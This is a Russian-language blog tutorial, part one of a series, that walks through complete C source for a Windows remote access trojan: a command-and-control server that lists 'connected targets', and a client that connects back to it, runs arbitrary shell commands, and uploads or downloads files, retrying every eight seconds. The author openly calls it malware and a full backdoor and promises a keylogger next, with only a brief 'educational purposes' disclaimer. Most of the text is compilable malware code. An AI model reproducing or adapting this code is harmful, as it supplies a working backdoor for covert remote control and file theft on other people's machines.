C Python RAT Взлом Кодинг Обучение

Пишем RAT (remote administration tool) на C. Часть 1

Пишем RAT (remote administration tool) на C.  Часть 1

Эту статью можно назвать ремейком одной из наших прошлых публикаций, в которой мы разбирали RAT на Python.

Возможно, вы захотите узнать зачем нужен C, когда есть Python?

Если сравнивать Си и Питон, вы наверняка заметите разницу в количестве кода, для одного и того же действия, и польза будет явно не у Си.

Но сложность компенсируется размером скомпилированного приложения. В конце статьи мы сравним вес RAT-ов на Python с похожим функционалом и вес RAT-a на C.

Еще один минус Питона – для запуска файлов .py, на системе должен быть установлен этот самый Питон, конечно, вы можете скомпилировать скрипт, с помощью pyinstaller, но тогда ваши 20-30 килобайт кода превратятся в 20-30 мегабайт. Происходит это потому, что при компиляции к вашему коду добавляются не только библиотеки, но и интерпретатор, делая размер просто гигантским по сравнению с Си.

Помимо веса, важна скорость работы и тут Python тоже отстаёт, конечно, существуют библиотеки вроде pypy, но даже они не сравняться со скоростью C.

Сервер C2

Как и в прошлый раз, у нас будет управляющий сервер (C2), к которому будут подключатся клиенты. Для начала создадим заголовочный файл tools.h, в нем будут некоторые функции, которые мы будем использовать в клиенте и сервере (осторожно, дальше много кода, все исходники сможете найти у нас на канале – @badbclub).

  1. #ifndef TOOLS_H
  2. #define TOOLS_H
  3. #define BUFLEN 8192
  4. #define MEM_CHUNK 5
  5.  // Функция чтения/хранения stdin пока “\n” не будет найдено
  6. size_t get_line(char* const buf) {
  7.       char c;
  8.       // Длина команды в байтах
  9.       size_t cmd_len = 0;
  10.       // Буфер с массивом команды в байтах, в котором создаем новый элемент и делаем его 0
  11.       buf[cmd_len++] = ‘0’;
  12.       // getchar() возвращает очередной символ из файла stdin, который считывается как пере­менная типа unsigned char
  13.       c = getchar();
  14.       while (c != ‘\n’ && cmd_len < BUFLEN) {
  15.             buf[cmd_len++] = c;
  16.             c = getchar();
  17.       }
  18.       return cmd_len;
  19. }
  20. // Функция сравнения двух строк
  21. int compare(const char* buf, const char* str) {
  22.       for (int j = 0; str[j] != ‘\0’; j++) {
  23.             if (str[j] != buf[j])
  24.                   return 0;
  25.       }
  26.       return 1;
  27. }
  28. // Функция копирования int байтов в новый блок памяти
  29. static inline uint32_t ntohl_conv(char* const buf) {
  30.       uint32_t new;
  31.       memcpy(&new, buf, sizeof(new));
  32.       // Возвращаем переменную new после десериализации
  33.       return ntohl(new);
  34. }
  35. #endif

Теперь создадим файл win_server.c, в котором добавим нужные библиотеки и создадим структуры с переменными:

  1. #include <WS2tcpip.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdint.h>
  5. #include “tools.h”
  6. #pragma comment(lib, “ws2_32.lib”)
  7. typedef struct {
  8.       // Переменная с айпи/именем хоста
  9.       char* host;
  10.       // Переменная с сокетом
  11.       SOCKET sock;
  12. } Conn;
  13. typedef struct {
  14.       // Мьютекс для проверки race condition
  15.       HANDLE ghMutex;
  16.       // Сокет сервера для приема подключений
  17.       SOCKET listen_socket;
  18.       // Массив Conn объектов/структур
  19.       Conn* clients;
  20.       // Выделенные блоки памяти
  21.       size_t alloc;
  22.       // К-во используемой памяти
  23.       size_t size;
  24. } Conn_map;
  25. typedef int (*func)(char*, size_t, SOCKET);

Напишем функции создания и закрытия сокета:

  1. // Функция закрытия сокета.
  2. void terminate_server(SOCKET socket, char* error) {
  3.       int err_code = 0;
  4.       if (error) {
  5.             fprintf(stderr, “%s: ld\n”, error, WSAGetLastError());
  6.             err_code = 1;
  7.       }
  8.       closesocket(socket);
  9.       /*
  10.     Вызов WSACleanup позволяет системе освободить задействованные ресурсы.
  11.     Здесь та же политика что и с кучей – память, выделенная на куче, просто так не освобождается.
  12.     Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено
  13.     */
  14.       WSACleanup();
  15.       exit(err_code);
  16. }
  1. // Функция создания сокета.
  2. const SOCKET create_socket() {
  3.       // Инициализируем winsock.
  4.       WSADATA wsData;
  5.       WORD ver = MAKEWORD(2, 2);
  6.     /* Функция WSAStartup инициализирует структуру данных WSADATA.
  7.     Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock,
  8.     каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти,
  9.     и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты
  10.     */
  11.       int wsResult = WSAStartup(ver, &wsData);
  12.       // Создаем сокет сервера.
  13.       const SOCKET listen_socket = socket(AF_INET, SOCK_STREAM, 0);
  14.       /* В случае возникновения ошибки на этапе создания сокета сервера
  15.       выведем в консоль сообщение через функцию WSAGetLastError, думаю не нужно объяснять, что она делает
  16.       */
  17.       if (listen_socket == INVALID_SOCKET) {
  18.             fprintf(stderr, “Socket creation failed: %ld\n”, WSAGetLastError());
  19.             WSACleanup();
  20.             exit(1);
  21.       }
  22.       int optval = 1;
  23.       if (setsockopt(listen_socket, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) != 0)
  24.             terminate_server(listen_socket, “Error setting socket options”);
  25.       return listen_socket;
  26. }

Функция привязки сокета к указанному порту:

  1. // Функция для привязки сокета к указанному порту
  2. void bind_socket(const SOCKET listen_socket, const int port) {
  3.       // Создаем hint структуру.
  4.       struct sockaddr_in hint;
  5.       hint.sin_family = AF_INET;
  6.       // Функция htons осуществляет перевод целого короткого числа из порядка байт, принятого на компьютере, в сетевой порядок байт
  7.       hint.sin_port = htons(port);
  8.       hint.sin_addr.S_un.S_addr = INADDR_ANY;
  9.       // Привязка ip-адреса и порта к listen_socket.
  10.       if (bind(listen_socket, (struct sockaddr*)&hint, sizeof(hint)) != 0)
  11.             terminate_server(listen_socket, “Socket bind failed with error”);
  12.       // Переводим listen_socket в состояние “прослушивания”
  13.       if (listen(listen_socket, SOMAXCONN) != 0)
  14.             terminate_server(listen_socket, “An error occured while placing the socket in listening state”);
  15. }

Рекурсивный прием соединений:

  1. // Поток для рекурсивного приема соединений
  2. DWORD WINAPI accept_conns(LPVOID* lp_param) {
  3.       Conn_map* conns = (Conn_map*)lp_param;
  4.       conns->alloc = MEM_CHUNK;
  5.       conns->size = 0;
  6.       conns->clients = malloc(conns->alloc * sizeof(Conn));
  7.       conns->listen_socket = create_socket();
  8.       // Порт, на котором мы будем ждать подключений
  9.       bind_socket(conns->listen_socket, 4443);
  10.       while (1) {
  11.             struct sockaddr_in client;
  12.             int c_size = sizeof(client);
  13.             // Сокет клиента.
  14.             const SOCKET client_socket = accept(conns->listen_socket, (struct sockaddr*)&client, &c_size);
  15.             if (client_socket == INVALID_SOCKET)
  16.                   terminate_server(conns->listen_socket, “Error accepting client connection”);
  17.             // Имя и порт клиента.
  18.             char host[NI_MAXHOST] = { 0 };
  19.             char service[NI_MAXHOST] = { 0 };
  20.             if (conns->size == conns->alloc)
  21.                   conns->clients = realloc(conns->clients, (conns->alloc += MEM_CHUNK) * sizeof(Conn));
  22.             if (getnameinfo((struct sockaddr*)&client, sizeof(client), host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0) {
  23.                   printf(“%s connected on port %s\n”, host, service);
  24.             }
  25.             else {
  26.                   inet_ntop(AF_INET, &client.sin_addr, host, NI_MAXHOST);
  27.                   printf(“%s connected on port %hu\n”, host, ntohs(client.sin_port));
  28.             }
  29.             // Если delete_conn() выполняется – ждём, пока он закончит изменять conns->clients
  30.             WaitForSingleObject(conns->ghMutex, INFINITE);
  31.             // Добавляем имя хоста и объект client_socket в структуру Conn.
  32.             conns->clients[conns->size].host = host;
  33.             conns->clients[conns->size].sock = client_socket;
  34.             conns->size++;
  35.             ReleaseMutex(conns->ghMutex);
  36.       }
  37.       return -1;
  38. }

Список подключенных клиентов:

  1. // Функция, которая показывает список доступных подключений
  2. void list_connections(const Conn_map* conns) {
  3.       printf(“\n\n—————————\n”);
  4.       printf(“—  CONNECTED TARGETS  —\n”);
  5.       printf(“–     Hostname: ID      –\n”);
  6.       printf(“—————————\n\n”);
  7.       if (conns->size) {
  8.             for (size_t i = 0; i < conns->size; i++) {
  9.                   printf(“%s: %lu\n”, conns->clients[i].host, i);
  10.             }
  11.             printf(“\n\n”);
  12.       }
  13.       else {
  14.             printf(“No connected targets available.\n\n\n”);
  15.       }
  16. }

Теперь создадим функции, которые будут отправлять команды клиенту:

Скачивание файла:

  1. // Функция скачивания файла
  2. int recv_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
  3.       // ‘4’ – код команды для скачивания файла
  4.       buf[9] = ‘4’;
  5.       // Отправляем код команды и имя файла
  6.       if (send(client_socket, &buf[9], cmd_len, 0) < 1)
  7.             return SOCKET_ERROR;
  8.       FILE* fd = fopen(&buf[10], “wb”);
  9.       // Получаем сериализованный размер файла
  10.       if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
  11.             return SOCKET_ERROR;
  12.       // Десериализируем размер файла в байтах
  13.       uint32_t f_size = ntohl_conv(&*(buf));
  14.       // Меняем i_result на true
  15.       int i_result = 1;
  16.       // Переменная для отслеживания загруженных данных
  17.       long int total = 0;
  18.       // Получить все байты/фрагменты файла и записать их в файл
  19.       while (total != f_size && i_result > 0) {
  20.             i_result = recv(client_socket, buf, BUFLEN, 0);
  21.             fwrite(buf, 1, i_result, fd);
  22.             total += i_result;
  23.       }
  24.       // Закрываем файл
  25.       fclose(fd);
  26.       return i_result;
  27. }

Отправка файла:

  1. // Функция отправки файла.
  2. int send_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
  3.       // ‘3’ – код команды для отправки файла
  4.       buf[7] = ‘3’;
  5.       // Отправляем код команды и имя файла
  6.       if (send(client_socket, &buf[7], cmd_len, 0) < 1)
  7.             return SOCKET_ERROR;
  8.       // Открываем файл
  9.       FILE* fd = fopen(&buf[8], “rb”);
  10.       uint32_t bytes = 0, f_size = 0;
  11.       // Еслий файл существует:
  12.       if (fd) {
  13.             // Получаем размер файла
  14.             fseek(fd, 0L, SEEK_END);
  15.             f_size = ftell(fd);
  16.             // Сериализация f_size.
  17.             bytes = htonl(f_size);
  18.             fseek(fd, 0L, SEEK_SET);
  19.       }
  20.       if (send(client_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
  21.             return SOCKET_ERROR;
  22.       // Меняем i_result на true
  23.       int i_result = 1;
  24.       if (f_size) {
  25.             // Рекурсивно читаем и отправляем байты файла клиенту
  26.             int bytes_read;
  27.             while (!feof(fd) && i_result > 0) {
  28.                   if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
  29.                         // Отправляем байты файла.
  30.                         i_result = send(client_socket, buf, bytes_read, 0);
  31.                   }
  32.                   else {
  33.                         break;
  34.                   }
  35.             }
  36.             // Закрываем файл
  37.             fclose(fd);
  38.       }
  39.       return i_result;
  40. }

Завершение работы RAT-a:

  1. // Функция закрытия соединения с клиентом
  2. int terminate_client(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
  3.       // ‘2’ код команды для удаления/завершения процесса RAT-a
  4.       send(client_socket, “2”, cmd_len, 0);
  5.       return 0;
  6. }

Смена директории:

  1. // Функция смены директории.
  2. int client_cd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
  3.       // ‘1’ – код команды для смены директории
  4.       buf[3] = ‘1’;
  5.       // Отправка кода команды и названия директории
  6.       if (send(client_socket, &buf[3], cmd_len, 0) < 1)
  7.             return SOCKET_ERROR;
  8.       return 1;
  9. }

Функция отправки команд клиенту:

  1. // Функция отправки команд клиенту
  2. int send_cmd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
  3.       // Отправляем команду.
  4.       if (send(client_socket, buf, cmd_len, 0) < 1)
  5.             return SOCKET_ERROR;
  6.       // Получаем размер выходного потока сериализованных байтов
  7.       if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
  8.             return SOCKET_ERROR;
  9.       // Десериализация размера потока
  10.       uint32_t s_size = ntohl_conv(&*(buf));
  11.       // Меняем i_result на true
  12.       int i_result = 1;
  13.       // Получаем ответ команды и записываем его в stdout
  14.       do {
  15.             if ((i_result = recv(client_socket, buf, BUFLEN, 0)) < 1)
  16.                   return i_result;
  17.             fwrite(buf, 1, i_result, stdout);
  18.       } while ((s_size -= i_result) > 0);
  19.       // Символ \n нужен для выравнивания командной строки
  20.       fputc(‘\n’, stdout);
  21.       return i_result;
  22. }

Функция парсинга команд:

  1. // Функция парсинга команд
  2. const func parse_cmd(char* const buf) {
  3.       // Массив команд.
  4.       const char commands[4][10] = { “cd “, “exit”, “upload “, “download ” };
  5.       // Массив указателей функций каждой команды
  6.       const func func_array[4] = { &client_cd, &terminate_client, &send_file, &recv_file };
  7.       for (int i = 0; i < 4; i++) {
  8.             if (compare(buf, commands[i]))
  9.                   return func_array[i];
  10.       }
  11.       // Если команда не обнаружилась в commands – отправляем/выполняем ее на клиенте через _popen()
  12.       return &send_cmd;
  13. }

Закрытие соединений:

  1. // Функция для изменения размера массива conns/удаления и закрытия соединений.
  2. void delete_conn(Conn_map* conns, const int client_id) {
  3.       // Если accept_conns() выполняется – ждём, пока завершится conns->clients.
  4.       WaitForSingleObject(conns->ghMutex, INFINITE);
  5.       if (conns->clients[client_id].sock)
  6.             closesocket(conns->clients[client_id].sock);
  7.       // Если есть более одного подключения:
  8.       if (conns->size > 1) {
  9.             int max_index = conns->size-1;
  10.             for (size_t i = client_id; i < max_index; i++) {
  11.                   conns->clients[i].sock = conns->clients[i + 1].sock;
  12.                   conns->clients[i].host = conns->clients[i + 1].host;
  13.             }
  14.             conns->clients[max_index].sock = 0;
  15.             conns->clients[max_index].host = NULL;
  16.       }
  17.       conns->size–;
  18.       // ReleaseMutex нужен, чтобы accept_conns() мог продолжать выполняться.
  19.       ReleaseMutex(conns->ghMutex);
  20. }

Взаимодействие с соединениями:

  1. // Функция для “сворачивания” соединения и вызова команд.
  2. void interact(Conn_map* conns, char* const buf, const int client_id) {
  3.       const SOCKET client_socket = conns->clients[client_id].sock;
  4.       char* client_host = conns->clients[client_id].host;
  5.       // Меняем i_result на true.
  6.       int i_result = 1;
  7.       // Получаем и парсим команды /отправляем их клиенту.
  8.       while (i_result > 0) {
  9.             printf(“%s // “, client_host);
  10.             // Обнуляем все байты в буфере.
  11.             memset(buf, ‘\0’, BUFLEN);
  12.             size_t cmd_len = get_line(buf);
  13.             char* cmd = &buf[1];
  14.             if (cmd_len > 1) {
  15.                   if (compare(cmd, “background”)) {
  16.                         return;
  17.                   }
  18.                   else {
  19.                         // Если команда спарсилась успешно вызываем её функцию или отправляем её клиенту.
  20.                         const func target_func = parse_cmd(cmd);
  21.                         i_result = target_func(buf, cmd_len, client_socket);
  22.                   }
  23.             }
  24.       }
  25.       // Если клиент отключился/вышел – удаляем соединение.
  26.       delete_conn(conns, client_id);
  27.       printf(“Client: \”%s\” is no longer connected.\n\n”, client_host);
  28. }

Выполнение команд через Popen:

  1. // Функция выполнения команд.
  2. void exec_cmd(char* const buf) {
  3.       // Вызываем Popen чтобы выполнить команду и читаем её ответ.
  4.       FILE* fpipe = _popen(buf, “r”);
  5.       fseek(fpipe, 0, SEEK_END);
  6.       size_t cmd_len = ftell(fpipe);
  7.       fseek(fpipe, 0, SEEK_SET);
  8.       // Пишем ответ команды в stdout.
  9.       int rb = 0;
  10.       do {
  11.             rb = fread(buf, 1, BUFLEN, fpipe);
  12.             fwrite(buf, 1, rb, stdout);
  13.       } while (rb == BUFLEN);
  14.       // Символ \n нужен для выравнивания командной строки.
  15.       fputc(‘\n’, stdout);
  16.       // Закрываем пайп.
  17.       _pclose(fpipe);
  18. }

Функция Main, в которой мы запускаем C2 сервер и ждем подключений:

  1. // Основная функция для парсинга команд и вызова остальных функций.
  2. int main(void) {
  3.       Conn_map conns;
  4.       conns.ghMutex = CreateMutex(NULL, FALSE, NULL);
  5.       HANDLE acp_thread = CreateThread(0, 0, accept_conns, &conns, 0, 0);
  6.       HANDLE  hColor;
  7.       hColor = GetStdHandle(STD_OUTPUT_HANDLE);
  8.       SetConsoleTextAttribute(hColor, 9);
  9.       while (1) {
  10.             printf(“CyberSec RAT\n[]==> “);
  11.             // BUFLEN + 1, чтобы строка всегда оканчивалась нулем
  12.             char buf[BUFLEN + 1] = { 0 };
  13.             size_t cmd_len = get_line(buf);
  14.             char* cmd = &buf[1];
  15.             if (cmd_len > 1) {
  16.                   if (compare(cmd, “exit”)) {
  17.                         // Выйти из приема подключений
  18.                         TerminateThread(acp_thread, 0);
  19.                         // Если есть какие-либо коннекты, закрываем их перед выходом
  20.                         if (conns.size) {
  21.                               for (size_t i = 0; i < conns.size; i++) {
  22.                                     closesocket(conns.clients[i].sock);
  23.                               }
  24.                               // Освобождаем выделенную память
  25.                               free(conns.clients);
  26.                         }
  27.                         terminate_server(conns.listen_socket, NULL);
  28.                   }
  29.                   else if (compare(cmd, “cd “)) {
  30.                         // Изменение текущей директории
  31.                         _chdir(&cmd[3]);
  32.                   }
  33.                   else if (compare(cmd, “list”)) {
  34.                         // Список всех подключений
  35.                         list_connections(&conns);
  36.                   }
  37.                   else if (compare(cmd, “interact “)) {
  38.                         // Взаимодействие с клиентом
  39.                         int client_id;
  40.                         client_id = atoi(&cmd[9]);
  41.                         if (!conns.size || client_id < 0 || client_id > conns.size – 1) {
  42.                               printf(“Invalid client identifier.\n”);
  43.                         }
  44.                         else {
  45.                               interact(&conns, buf, client_id);
  46.                         }
  47.                   }
  48.                   else {
  49.                         // Выполняем команду
  50.                         exec_cmd(cmd);
  51.                   }
  52.             }
  53.       }
  54.       return -1;
  55. }

На этом код сервера можно считать полностью готовым. Я использую IDE CodeBlocks, поэтому в настройках компиляции нужно указать библиотеку lws2_32, без нее IDE будет выдавать ошибки (для клиента нужно будет сделать этот шаг снова).

После успешной компиляции можно проверить работоспособность сервера используя NetCat:

Конекты приходят и с ними можно взаимодействовать, а это значит, что сервер работает.

Клиент

В коде клиента мы будем использовать заголовочный файл tools.h, который создали в начале статьи. Через #include добавляем нужные библиотеки и создаем функцию create_socket:

  1. #include <ws2tcpip.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <stdint.h>
  5. #include “tools.h”
  6. #pragma comment(lib, “Ws2_32.lib”)
  7. // Функция создания сокета
  8. const SOCKET create_socket() {
  9.       // Инициализируем winsock
  10.       WSADATA wsData;
  11.       WORD ver = MAKEWORD(2, 2);
  12.       if (WSAStartup(ver, &wsData) != 0)
  13.             return INVALID_SOCKET;
  14.       // Создаем сокет
  15.       const SOCKET connect_socket = socket(AF_INET, SOCK_STREAM, 0);
  16.       if (connect_socket == INVALID_SOCKET) {
  17.             WSACleanup();
  18.             return connect_socket;
  19.       }
  20.       return connect_socket;
  21. }

Функция подключения к C2, которая будет принимать переменные host и port:

  1. // Функция подключения сокета к c2 серверу.
  2. int c2_connect(const SOCKET connect_socket, const char* host, const int port) {
  3.       struct sockaddr_in hint;
  4.       hint.sin_family = AF_INET;
  5.       hint.sin_port = htons(port);
  6.       inet_pton(AF_INET, host, &hint.sin_addr);
  7.       // Подключение к серверу, на котором запущен c2
  8.       if (connect(connect_socket, (struct sockaddr*)&hint, sizeof(hint)) == SOCKET_ERROR) {
  9.             closesocket(connect_socket);
  10.             return SOCKET_ERROR;
  11.       }
  12.       return 1;
  13. }

Функция получения файла с C2:

  1. // Функция получения файла с C2
  2. int recv_file(char* const buf, const char* filename, const SOCKET connect_socket) {
  3.       FILE* fd = fopen(filename, “wb”);
  4.       // Получаем размер файла
  5.       if (recv(connect_socket, buf, sizeof(uint32_t), 0) < 1)
  6.             return SOCKET_ERROR;
  7.       // Сериализуем f_size.
  8.       uint32_t f_size = ntohl_conv(&*(buf));
  9.       // Получаем байты и записываем их в файл.
  10.       int i_result = 1;
  11.       long int total = 0;
  12.       while (total != f_size && i_result > 0) {
  13.             i_result = recv(connect_socket, buf, BUFLEN, 0);
  14.             fwrite(buf, 1, i_result, fd);
  15.             total += i_result;
  16.       }
  17.       fclose(fd);
  18.       return i_result;
  19. }

Отправка файла на C2:

  1. // Функция отправки файла на c2
  2. int send_file(const char* filename, const SOCKET connect_socket, char* const buf) {
  3.       // Открываем файл
  4.       FILE* fd = fopen(filename, “rb”);
  5.       uint32_t bytes = 0, f_size = 0;
  6.       if (fd) {
  7.             // Считаем размер файла
  8.             fseek(fd, 0L, SEEK_END);
  9.             f_size = ftell(fd);
  10.             // Сериализуем f_size.
  11.             bytes = htonl(f_size);
  12.             fseek(fd, 0L, SEEK_SET);
  13.       }
  14.       if (send(connect_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
  15.             return SOCKET_ERROR;
  16.       int i_result = 1;
  17.       // Рекурсивно читаем и отправляем байты файла на c2 сервер.
  18.       if (f_size) {
  19.             int bytes_read;
  20.             while (!feof(fd) && i_result > 0) {
  21.                   // Читаем файл, пока не дойдем до конца
  22.                   if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
  23.                         // Отправляем байты
  24.                         i_result = send(connect_socket, buf, bytes_read, 0);
  25.                   }
  26.                   else {
  27.                         break;
  28.                   }
  29.             }
  30.             // Закрываем файл
  31.             fclose(fd);
  32.       }
  33.       return i_result;
  34. }

Выполнение команд через Popen:

  1. // Функция выполнения команд
  2. int exec_cmd(const SOCKET connect_socket, char* const buf) {
  3.       // Вызываем Popen для выполнения команд и читаем результат.
  4.       strcat(buf, ” 2>&1″);
  5.       FILE* fpipe = _popen(buf, “r”);
  6.       int bytes_read;
  7.       if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0) {
  8.             bytes_read = 1;
  9.             buf[0] = ‘\0’;
  10.       }
  11.       uint32_t s_size = bytes_read;
  12.       const int chunk = 24576;
  13.       int capacity = chunk;
  14.       char* output = malloc(capacity);
  15.       strcpy(output, buf);
  16.       // Читаем и сохраняем stdout в output.
  17.       while (1) {
  18.             if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0)
  19.                   break;
  20.             // Если output достигнет максимального объема в памяти.
  21.             if ((s_size += bytes_read) == capacity)
  22.                   output = realloc(output, (capacity += chunk));
  23.             strcat(output, buf);
  24.       }
  25.       // Сериализация s_size.
  26.       uint32_t bytes = htonl(s_size);
  27.       // Отправляем байты
  28.       if (send(connect_socket, (char*)&bytes, sizeof(uint32_t), 0) < 1)
  29.             return SOCKET_ERROR;
  30.       int i_result = send(connect_socket, output, s_size, 0);
  31.       free(output);
  32.       // Закрываем пайп.
  33.       _pclose(fpipe);
  34.       return i_result;
  35. }

Функция Main, в ней мы будем использовать кейсы для каждой команды, а если подключится к серверу не получиться – ждем 8 секунд и пробуем еще раз:

  1. // Основная функция для подключения к серверу c2 и парсинга команд
  2. int main(void) {
  3.       // Порт и айпи c2 сервера.
  4.       const char host[] = “127.0.0.1”;
  5.       const int port = 4443;
  6.       while (1) {
  7.             // Создаем сокет.
  8.             const SOCKET connect_socket = create_socket();
  9.         /*
  10.         При подключении к c2 запускаем цикл для приема/парсинга команд.
  11.         В случае возникновения ошибки (потеря соединения и т.д.) – прерываем цикл и повторно его перезапускаем.
  12.         Оператор switch будет анализировать и выполнять функции в соответствии с полученным кодом.
  13.         */
  14.             if (connect_socket != INVALID_SOCKET) {
  15.                   int i_result = c2_connect(connect_socket, host, port);
  16.                   while (i_result > 0) {
  17.                         // BUFLEN + 1 + 4, для null байта и конкатенации “2>&1”
  18.                         char buf[BUFLEN + 5] = { 0 };
  19.                         if (recv(connect_socket, buf, BUFLEN, 0) < 1)
  20.                               break;
  21.                         // buf[0] – код команды, а &buf[1] ее аргумент
  22.                         switch (buf[0]) {
  23.                               case ‘0’:
  24.                                    i_result = exec_cmd(connect_socket, &buf[1]);
  25.                                    break;
  26.                               case ‘1’:
  27.                                    // Вызываем функцию смены директории
  28.                                    _chdir(&buf[1]);
  29.                                    break;
  30.                               case ‘2’:
  31.                                     // Выход
  32.                                    return 0;
  33.                               case ‘3’:
  34.                                    // Получаем файл с c2 сервера
  35.                                    i_result = recv_file(buf, &buf[1], connect_socket);
  36.                                    break;
  37.                               case ‘4’:
  38.                                    // Отправляем файл на c2 сервер
  39.                                    i_result = send_file(&buf[1], connect_socket, buf);
  40.                                    break;
  41.                         }
  42.                   }
  43.             }
  44.             // Если подключится не удалось ждем 8 секунд и пробуем еще раз
  45.             Sleep(8000);
  46.       }
  47.       return -1;
  48. }

Скриншоты работы:

Вес сервера 96 килобайт, а вес клиента 86 килобайт:

Теперь посмотрим, как дела у RAT-a на Python из прошлой статьи:

Еще один RAT, который использует Telegram как управляющий сервер:

Заключение

Эта статья является первой частью и наглядным примером, почему стоит делать выбор в пользу С при кодинге малвари (в целях самообучения конечно же). Теперь вы имеете представление о том, как создается полноценный бэкдор на С, который предоставляет управление машиной, надеемся, что вы уже ощущаете невероятную мощь этого языка и готовы к экспериментам, ведь в следующей части мы рассмотрим создание кейлоггера и сравним его с аналогами на Python.

Данная статья написана только в образовательных целях, автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Комментарии

  1. Добавь нормальные код блоки. глазкам больно так читать. намасте

  2. Друже, в такому вигляді код буде біль читабельним

Leave a Reply

Your email address will not be published. Required fields are marked *